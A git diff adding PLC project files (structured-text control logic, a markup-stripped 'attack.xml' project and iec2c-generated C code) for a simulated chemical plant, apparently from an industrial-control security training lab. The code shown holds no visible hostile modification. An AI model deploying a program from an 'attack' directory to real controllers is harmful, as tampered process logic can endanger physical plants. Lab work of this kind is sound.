pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + 